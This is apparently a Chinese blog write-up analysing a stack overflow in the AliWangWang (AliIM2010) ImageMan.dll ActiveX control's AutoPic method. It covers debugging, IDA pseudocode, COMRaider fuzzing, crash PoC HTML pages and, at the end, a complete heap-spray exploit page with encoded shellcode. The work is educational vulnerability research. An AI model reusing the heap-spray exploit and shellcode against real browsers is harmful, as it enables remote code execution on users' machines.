前段日子准备复现分析下这个漏洞的,然后谷歌百度全都搜不到这个AliIM2010版本的这个东西,找了一天无奈放弃,今天无意从漏洞战争随书资料里看到有这个安装包,便开始了分析之旅
漏洞战争随书资料可以从github下载
测试环境:
X | 推荐环境 | 备注 |
---|---|---|
操作系统 | win_xp_sp3_pro | 简体中文版 |
虚拟机 | vmware | 15.5 |
调试器 | ollydbg | 吾爱破解od |
反汇编器 | IDA pro | 版本号:7.0 |
漏洞软件 | AliIM2010_taobao | 版本号: 6.50.00C |
poc及exp均在漏洞战争随书资料里获取
哈哈这里我感觉我有点傻逼啊,我打开了阿里旺旺,附加了,然后运行断点怎么没断下,而且阿里旺旺也没退出什么的,poc是不是无效啊,第一反应,然后打开了弹计算器的exp,然而弹出了计算器,断点还是没断下,然后才反应过来,我应该附加错了,应该附加的是ie浏览器,因为他会退出,会弹计算机
稍微思考一下,我装了这个软件,然而并不用运行就可以拿shell,这个东西有点怪异哦,是什么原因导致的呢,暂时放下,调试下
从Windbg附加运行,报错,
我们得到一个dll名称,ImageMan
C:\Program Files\AliWangWang\Pictool\ImageMan.dll
这里我们从我加粗那一行得到一个地址,
这里得到一个地址,1001ac2b,重新调试在此处下断,然后发觉根本运行不起来,基于栈回溯的方法在这里用不了?
然后上ollydbg发觉也没办法,他会中断
运行起来就变成这样了,原来一直不知道原因,查了下,就是查sysenter
在看雪找到一篇帖子 SYSENTER 原因是因为其进入了Ring0层,ollydbg这种Ring3调试器无法进入,而windbg是可以调试内核的,所以他是进入得了,然而windbg下断点总是在gdiplus.dll处断下,具体原因未详,但对调试极为不利,我还是觉得ollydbg是可以调试的,因为别人的文章也用ollydbg,应该是吾爱的那个od配置了什么,导致无法断下,我将其异常全部取消忽略,也无法断下,换了个ollydbg就成了。。。
然后通过基于栈回溯的方法,一直追,追到了函数的开头处
过程大概是,断点,重新运行,断下后在堆栈窗口,找到返回地址,跟随反汇编,然后继续断点,重复以上步骤三次便可以追溯到这里,打开ida,进行分析
用ida打开随书资料的idb,查看关键代码部分
int __stdcall AutoPic(int a1, LPCWSTR lpWideCharStr, int a3) { const OLECHAR *v4; // eax char v5; // [esp+Ch] [ebp-314h] const CHAR MultiByteStr[260]; // [esp+10h] [ebp-310h] char *v7; // [esp+114h] [ebp-20Ch] CHAR FullPath; // [esp+118h] [ebp-208h] char v9; // [esp+119h] [ebp-207h] __int16 v10; // [esp+219h] [ebp-107h] char v11; // [esp+21Bh] [ebp-105h] char Str; // [esp+21Ch] [ebp-104h] char v13; // [esp+21Dh] [ebp-103h] __int16 v14; // [esp+31Dh] [ebp-3h] char v15; // [esp+31Fh] [ebp-1h] FullPath = 0; memset(&v9, 0, 0x100u); v10 = 0; v11 = 0; WideCharToMultiByte(0, 0, lpWideCharStr, -1, &FullPath, 260, 0, 0); MultiByteStr[0] = 0; memset((void *)&MultiByteStr[1], 0, 0x100u); *(_WORD *)&MultiByteStr[257] = 0; MultiByteStr[259] = 0; v7 = strrchr(&FullPath, '\\'); Str = 0; memset(&v13, 0, 0x100u); v14 = 0; v15 = 0; mbsnbcpy(&Str, &FullPath, v7 - &FullPath + 1);// 触发崩溃! sub_100271FE(&Str); sub_10018BA1(&FullPath, (int)MultiByteStr); sub_1001BFE0(MultiByteStr); if ( a3 ) { v4 = (const OLECHAR *)sub_1001C060(&v5); *(_DWORD *)a3 = SysAllocString(v4); } sub_1001C040(&v5); return 0; }
这里写了mbsnbcpy这里触发了崩溃,这个函数很类似strncpy(源字符串,目的字符串,长度),将目的字符串按照指定长度复制到原字符串里
这里查看文档mbsnbcpy的解析 查看文档发觉确实类似,这里应该就是
template <size_t size> errno_t _mbsnbcpy_s( unsigned char (&strDest)[size], const unsigned char * strSource, size_t count ); // C++ only /* strDest 要复制的目标字符字符串。 sizeInBytes 目标缓冲区大小。 strSource 要复制的字符字符串。 count 要复制的字节数。 locale 要使用的区域设置。 */
也就是说第三个参数就是长度,v7-&FullPath + 1的长度,越界了,那看v7跟FullPath哪里来的
v7 = strrchr(&FullPath, '\\');
FullPath
WideCharToMultiByte(0, 0, lpWideCharStr, -1, &FullPath, 260, 0, 0);
这里又遇到两个没有见过的函数,查文档呗
这里strrchr就是查询\最后一次出现位置,WideCharToMultiByte就是把宽字符串转换成指定的新的字符串,
带 类型的变量,++ 或者 -- 新增(减少)的数量是去掉一个后变量的宽度,所以就是中间隔了多少个char,在这里就相当于到 \的长度,所以不输入\的话,就是null-起始地址+1是个负数,就越界了
所以关键点就是控制 lpWideCharStr,而这里已经帮我们构造好了,是AAAA,我们现在查看poc,是如何构造的
<html> <body> <object classid="clsid:128D0E38-1FF4-47C3-B0F7-0BAF90F568BF" id="target"></object> <script> var buffer = ''; while (buffer.length < 1111) buffer+="A"; target.AutoPic(buffer,"defaultV"); </script> </body> </html>
classid com組件在注册表的唯一标识,从注册表可以找到
目录结构
CLSID 便是该组件了,而这里可以看到,他调用了该组件的AutoPic函数,也就是我们刚刚用id分析的函数,然后直接调用该组件函数,就可以了,似乎很简单? 那我们fuzz是不是也是很简单
这里运用到COMRaider,因为是com组件导致的,所以直接利用现成的工具,不要重复造轮子,虽然我也不会造这个轮子吧
这里可以看到直接显示了组件id,跟注册表里看的一样,同时我们还看到了分析出问题的函数,AutoPic,
点击接口,然后点fuzz member会生成一堆测试数据,然后点netx就可以了
具体过程我不测试了,测Autopic的话,每个都报异常了,也就是说这里可能存在栈溢出,
这个生成的poc
<?XML version='1.0' standalone='yes' ?> <package><job id='DoneInVBS' debug='false' error='true'> <object classid='clsid:128D0E38-1FF4-47C3-B0F7-0BAF90F568BF' id='target' /> <script language='vbscript'> 'File Generated by COMRaider v0.0.134 - http://labs.idefense.com 'Wscript.echo typename(target) 'for debugging/custom prolog targetFile = "C:\Program Files\AliWangWang\Pictool\ImageMan.dll" prototype = "Sub AutoPic ( ByVal szFileName As String , ByRef szOut As String )" memberName = "AutoPic" progid = "IMAGEMANLib.ImageManager" argCount = 2 arg1=String(2068, "A") arg2="defaultV" target.AutoPic arg1 ,arg2 </script></job></package>
跟我们那个几乎一样,都是传了对接口传入大量的测试数据,然后造成crash检测
这里,我们已经测试出了关键点,接下来就需要确定长度,然后利用堆喷进行利用,堆喷不再进行分析,需要注意的一点就是
由于IE6中javascript的实现,使得字符串赋值给一个变量时并不会开辟新的内存空间(类似于C中的指针取地址),只有当字符串发生连接操作时(substr或是+),才会为字符串开辟新的内存空间。
所以构造shellcode的时候注意下这点就可以
直接利用所给的exp
<html> <body> <object classid="clsid:128D0E38-1FF4-47C3-B0F7-0BAF90F568BF" id="target"></object> <script> shellcode = unescape( '%uc931%ue983%ud9de%ud9ee%u2474%u5bf4%u7381%u3d13%u5e46%u8395'+ '%ufceb%uf4e2%uaec1%u951a%u463d%ud0d5%ucd01%u9022%u4745%u1eb1'+ '%u5e72%ucad5%u471d%udcb5%u72b6%u94d5%u77d3%u0c9e%uc291%ue19e'+ '%u873a%u9894%u843c%u61b5%u1206%u917a%ua348%ucad5%u4719%uf3b5'+ '%u4ab6%u1e15%u5a62%u7e5f%u5ab6%u94d5%ucfd6%ub102%u8539%u556f'+ '%ucd59%ua51e%u86b8%u9926%u06b6%u1e52%u5a4d%u1ef3%u4e55%u9cb5'+ '%uc6b6%u95ee%u463d%ufdd5%u1901%u636f%u105d%u6dd7%u86be%uc525'+ '%u3855%u7786%u2e4e%u6bc6%u48b7%u6a09%u25da%uf93f%u465e%u955e'); nops=unescape('%u9090%u9090'); headersize =20; slackspace= headersize + shellcode.length; while(nops.length < slackspace) nops+= nops; fillblock= nops.substring(0, slackspace); block= nops.substring(0, nops.length- slackspace); while( block.length+ slackspace<0x50000) block= block+ block+ fillblock; memory=new Array(); for( counter=0; counter<200; counter++) memory[counter]= block + shellcode; s=''; for( counter=0; counter<=1000; counter++) s+=unescape("%0D%0D%0D%0D"); target.AutoPic(s,"defaultV"); </script> </body> </html>
You can see that!! 确实很美妙